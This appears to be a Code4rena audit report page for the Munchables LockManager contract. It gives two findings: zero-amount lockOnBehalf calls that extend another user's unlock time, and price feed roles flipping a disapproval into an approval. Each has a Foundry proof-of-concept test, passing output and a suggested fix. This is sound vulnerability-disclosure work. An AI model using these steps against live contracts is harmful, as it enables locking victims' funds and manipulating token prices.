Platform: Code4rena
Start Date: 22/05/2024
Pot Size: $20,000 USDC
Total HM: 6
Participants: 126
Period: 5 days
Judge: 0xsomeone
Total Solo HM: 1
Id: 379
League: ETH
Rank: 55/126
Findings: 2
Award: $0.01
π Selected for report: 0
π Solo Findings: 0
π Selected for report: Circolors
Also found by: 0rpse, 0x175, 0xAadi, 0xHash, 0xMax1mus, 0xMosh, 0xblack_bird, 0xdice91, 0xfox, 0xhacksmithh, 0xloscar01, 0xrex, 4rdiii, Audinarey, AvantGard, Bigsam, DPS, Dots, Drynooo, Dudex_2004, Evo, Kaysoft, King_, Limbooo, MrPotatoMagic, PENGUN, Sabit, SovaSlava, SpicyMeatball, TheFabled, Utsav, Varun_05, Walter, adam-idarrha, araj, aslanbek, ayden, bctester, biakia, bigtone, brgltd, carrotsmuggler, cats, crypticdefense, dd0x7e8, dhank, fandonov, fyamf, grearlake, iamandreiski, ilchovski, jasonxiale, joaovwfreire, lanrebayode77, m4ttm, merlinboii, niser93, nnez, octeezy, oxchsyston, pamprikrumplikas, rouhsamad, tedox, trachev, turvy_fuzz, twcctop, yotov721, zhaojohnson
0.0042 USDC - $0.00
The lockOnBehalf()
function enables users to lock tokens on behalf of another address specified by _onBehalfOf
. This
function has the capability to adjust the unlock time for the _onBehalfOf
account by adding the
specified _lockDuration
. Notably, the function does not restrict the amount _quantity
that can be locked, thereby
allowing the caller to lock any quantity, including zero.
This presents a potential vulnerability: a malicious actor could exploit this feature by locking zero tokens to
undesirably extend another user's unlock time. For instance, consider a scenario where Bob locks 10 ETH with an
expectation to access them after 10 days. Tom, who harbors malicious intent, could use the lockOnBehalf
function to
lock 0 ETH on behalf of Bob. This action would inadvertently extend the unlock period for Bob's originally locked 10
ETH, thereby preventing Bob from accessing his funds at the initially anticipated time.
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.25; import {console2} from "forge-std/Test.sol"; import "./MunchablesTest.sol"; import "../managers/MigrationManager.sol"; import "./Converter.sol"; contract LockManagerTest is MunchablesTest { using Converter for *; address public Bob = makeAddr("Bob"); address public Tom = makeAddr("Tom"); address public PriceFeed_1 = makeAddr("PriceFeed_1"); address public PriceFeed_2 = makeAddr("PriceFeed_2"); address public PriceFeed_3 = makeAddr("PriceFeed_3"); address public PriceFeed_4 = makeAddr("PriceFeed_4"); address public PriceFeed_5 = makeAddr("PriceFeed_5"); address[] public tokenContracts; function setUp() public override { vm.warp(1716631918); deployContracts(); tokenContracts.push(address(0)); tokenContracts.push(address(weth)); tokenContracts.push(address(usdb)); //set role cs.setRole(Role.PriceFeed_1, address(lm), PriceFeed_1); cs.setRole(Role.PriceFeed_2, address(lm), PriceFeed_2); cs.setRole(Role.PriceFeed_3, address(lm), PriceFeed_3); cs.setRole(Role.PriceFeed_4, address(lm), PriceFeed_4); cs.setRole(Role.PriceFeed_5, address(lm), PriceFeed_5); //set threshold lm.setUSDThresholds(3, 3); //register vm.startPrank(Bob); amp.register(MunchablesCommonLib.Realm(3), address(0)); lm.setLockDuration(10 days); vm.startPrank(Tom); lm.setLockDuration(10 days); amp.register(MunchablesCommonLib.Realm(3), address(0)); //init funds deal(Bob, 1e6 ether); deal(Tom, 1e6 ether); deal(address(weth), Bob, 1e6 ether); deal(address(weth), Tom, 1e6 ether); deal(address(usdb), Bob, 1e8 ether); deal(address(usdb), Tom, 1e8 ether); vm.label(address(weth), "WETH"); vm.label(address(usdb), "USDB"); vm.warp(block.timestamp + 1 days); } function logLockedTokensByPlayer(address player, string memory _msg) internal view { ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm .getLocked(player); console2.log("-------------------------------"); console2.log(_msg); for (uint i; i < lockedTokens.length; i++) { if (lockedTokens[i].lockedToken.quantity == 0) { continue; } if (lockedTokens[i].tokenContract == address(0)) { console2.log("ETH Locked:", lockedTokens[i].lockedToken.quantity); } else { console2.log("%s Locked:", vm.getLabel(lockedTokens[i].tokenContract), lockedTokens[i].lockedToken.quantity); } console2.log("Remainder:", lockedTokens[i].lockedToken.remainder); console2.log("LastLockTime:", lockedTokens[i].lockedToken.lastLockTime.convertTimestamp()); console2.log("UnlockTime:", lockedTokens[i].lockedToken.unlockTime.convertTimestamp()); } console2.log("-------------------------------"); } function test_POC2_AnyoneCanExtendOthersUnlockPeriod_lockOnBehalf_unlock_eth_revert() public { logLockedTokensByPlayer(Bob, "Before First Lock"); console2.log("%s - Bob locks 10 ETH", block.timestamp.convertTimestamp()); vm.startPrank(Bob); lm.lock{value: 10 ether}(address(0), 10 ether); logLockedTokensByPlayer(Bob, "After First Lock"); vm.warp(block.timestamp + 10 days); console2.log("%s - Tom locks 0 ETH on behalf of Bob", block.timestamp.convertTimestamp()); vm.startPrank(Tom); lm.lockOnBehalf{value: 0 ether}(address(0), 0 ether, Bob); logLockedTokensByPlayer(Bob, "After Second Lock"); console2.log("%s - Bob unlocks 10 ETH", block.timestamp.convertTimestamp()); vm.startPrank(Bob); vm.expectRevert(); lm.unlock(address(0), 10 ether); console2.log("ETH of Lock Manager is %d", address(lm).balance); } }
$ forge test --mc LockManagerTest --mt test_POC2 -vv [β ’] Compiling... [β ] Compiling 1 files with 0.8.25 [β ’] Solc 0.8.25 finished in 31.03s Compiler run successful! Ran 1 test for src/test/LockManager.t.sol:LockManagerTest [PASS] test_POC2_AnyoneCanExtendOthersUnlockPeriod_lockOnBehalf_unlock_eth_revert() (gas: 657459) Logs: ------------------------------- Before First Lock ------------------------------- 2024-05-26 10:11:58 - Bob locks 10 ETH ------------------------------- After First Lock ETH Locked: 10000000000000000000 Remainder: 0 LastLockTime: 2024-05-26 10:11:58 UnlockTime: 2024-06-05 10:11:58 ------------------------------- 2024-06-05 10:11:58 - Tom locks 0 ETH on behalf of Bob ------------------------------- After Second Lock ETH Locked: 10000000000000000000 Remainder: 0 LastLockTime: 2024-06-05 10:11:58 UnlockTime: 2024-06-15 10:11:58 ------------------------------- 2024-06-05 10:11:58 - Bob unlocks 10 ETH ETH of Lock Manager is 10000000000000000000 Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 74.40ms (7.02ms CPU time) Ran 1 test suite in 185.15ms (74.40ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Foundry
lockOnBehalf()
function to include a validation check that ensures the
amount _quantity
being locked is greater than zero. This prevents the function from processing zero-value locks that
could be used to maliciously extend the unlock time.function lockOnBehalf( address _tokenContract, uint256 _quantity, address _onBehalfOf ) external payable notPaused onlyActiveToken(_tokenContract) onlyConfiguredToken(_tokenContract) nonReentrant { require(_quantity > 0, "Lock quantity must be greater than zero."); ... }
lockOnBehalf()
to reset or extend the unlock period, modify the
logic to ensure that the unlock time can only be extended if an actual additional quantity of tokens is being locked.function _lock( address _tokenContract, uint256 _quantity, address _tokenOwner, address _lockRecipient ) private { ... if (_quantity > 0) { uint32 newUnlockTime = uint32(block.timestamp) + _lockDuration; if (newUnlockTime > lockedToken.unlockTime) { lockedToken.unlockTime = newUnlockTime; } } ... }
Timing
#0 - c4-judge
2024-06-05T12:58:40Z
alex-ppg marked the issue as partial-75
π Selected for report: robertodf99
Also found by: 0xAadi, 0xAkira, 0xdice91, 0xhacksmithh, 0xleadwizard, AgileJune, Bauchibred, Bbash, Beosin, Bigsam, Dots, EPSec, EaglesSecurity, Eeyore, Evo, John_Femi, Mahmud, MrPotatoMagic, RotiTelur, Rushkov_Boyan, Sabit, Sentryx, Stormreckson, Topmark, Tychai0s, Utsav, Walter, ZanyBonzy, ZdravkoHr, adam-idarrha, araj, aslanbek, avoloder, bigtone, brevis, brgltd, carrotsmuggler, crypticdefense, dd0x7e8, dhank, djanerch, falconhoof, iamandreiski, joaovwfreire, leegh, merlinboii, mitko1111, pamprikrumplikas, pfapostol, prapandey031, swizz, trachev, twcctop, typicalHuman, unique, xyz
0.0148 USDC - $0.01
In the LockManager
contract, it permits price feed accounts to change their stance from disapproval to approval on the
current proposal. This flexibility can be exploited under certain conditions to manipulate the outcome of proposals,
especially when the thresholds for approval are low or just sufficient to pass a proposal. Hereβs how the issue unfolds:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.25; import {console2} from "forge-std/Test.sol"; import "./MunchablesTest.sol"; import "../managers/MigrationManager.sol"; import "./Converter.sol"; contract LockManagerTest is MunchablesTest { using Converter for *; address public Bob = makeAddr("Bob"); address public Tom = makeAddr("Tom"); address public PriceFeed_1 = makeAddr("PriceFeed_1"); address public PriceFeed_2 = makeAddr("PriceFeed_2"); address public PriceFeed_3 = makeAddr("PriceFeed_3"); address public PriceFeed_4 = makeAddr("PriceFeed_4"); address public PriceFeed_5 = makeAddr("PriceFeed_5"); address[] public tokenContracts; function setUp() public override { vm.warp(1716631918); deployContracts(); tokenContracts.push(address(0)); tokenContracts.push(address(weth)); tokenContracts.push(address(usdb)); //set role cs.setRole(Role.PriceFeed_1, address(lm), PriceFeed_1); cs.setRole(Role.PriceFeed_2, address(lm), PriceFeed_2); cs.setRole(Role.PriceFeed_3, address(lm), PriceFeed_3); cs.setRole(Role.PriceFeed_4, address(lm), PriceFeed_4); cs.setRole(Role.PriceFeed_5, address(lm), PriceFeed_5); //set threshold lm.setUSDThresholds(3, 3); //register vm.startPrank(Bob); amp.register(MunchablesCommonLib.Realm(3), address(0)); lm.setLockDuration(10 days); vm.startPrank(Tom); lm.setLockDuration(10 days); amp.register(MunchablesCommonLib.Realm(3), address(0)); //init funds deal(Bob, 1e6 ether); deal(Tom, 1e6 ether); deal(address(weth), Bob, 1e6 ether); deal(address(weth), Tom, 1e6 ether); deal(address(usdb), Bob, 1e8 ether); deal(address(usdb), Tom, 1e8 ether); vm.label(address(weth), "WETH"); vm.label(address(usdb), "USDB"); vm.warp(block.timestamp + 1 days); } function logLockedTokensByPlayer(address player, string memory _msg) internal view { ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm .getLocked(player); console2.log("-------------------------------"); console2.log(_msg); for (uint i; i < lockedTokens.length; i++) { if (lockedTokens[i].lockedToken.quantity == 0) { continue; } if (lockedTokens[i].tokenContract == address(0)) { console2.log("ETH Locked:", lockedTokens[i].lockedToken.quantity); } else { console2.log("%s Locked:", vm.getLabel(lockedTokens[i].tokenContract), lockedTokens[i].lockedToken.quantity); } console2.log("Remainder:", lockedTokens[i].lockedToken.remainder); console2.log("LastLockTime:", lockedTokens[i].lockedToken.lastLockTime.convertTimestamp()); console2.log("UnlockTime:", lockedTokens[i].lockedToken.unlockTime.convertTimestamp()); } console2.log("-------------------------------"); } function test_POC1_SameRoleCanBothDisapproveAndApprove_disapproveUSDPrice() public { ILockManager.ConfiguredToken memory _token = lm.getConfiguredToken(address(weth)); uint256 newPrice = _token.usdPrice * 2; console2.log("Fee1 proposes and approves the new USD price"); vm.startPrank(PriceFeed_1); lm.proposeUSDPrice(newPrice, tokenContracts); console2.log("Fee2 disapproves the USD price"); vm.startPrank(PriceFeed_2); lm.disapproveUSDPrice(newPrice); console2.log("Fee3 disapproves the USD price"); vm.startPrank(PriceFeed_3); lm.disapproveUSDPrice(newPrice); vm.startPrank(PriceFeed_4); lm.approveUSDPrice(newPrice); console2.log("Fee3 approves the USD price"); vm.startPrank(PriceFeed_3); lm.approveUSDPrice(newPrice); _token = lm.getConfiguredToken(address(weth)); assertEq(newPrice, _token.usdPrice); } }
$ forge test --mc LockManagerTest --mt test_POC1 -vv [β °] Compiling... [β ] Compiling 1 files with 0.8.25 [β ] Solc 0.8.25 finished in 36.84s Compiler run successful! Ran 1 test for src/test/LockManager.t.sol:LockManagerTest [PASS] test_POC1_SameRoleCanBothDisapproveAndApprove_disapproveUSDPrice() (gas: 312049) Logs: Fee1 proposes and approves the new USD price Fee2 disapproves the USD price Fee3 disapproves the USD price Fee3 approves the USD price Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 73.83ms (2.15ms CPU time) Ran 1 test suite in 212.80ms (73.83ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Foundry
To address this issue, it is advisable to implement a more rigid control mechanism that restricts price feed accounts from changing their mind once made, whether it's an approval or disapproval.
Other
#0 - CloudEllie
2024-05-31T16:20:34Z
See sponsor comments on #36
#1 - c4-judge
2024-06-03T11:56:48Z
alex-ppg marked issue #495 as primary and marked this issue as a duplicate of 495
#2 - c4-judge
2024-06-05T12:42:49Z
alex-ppg marked the issue as satisfactory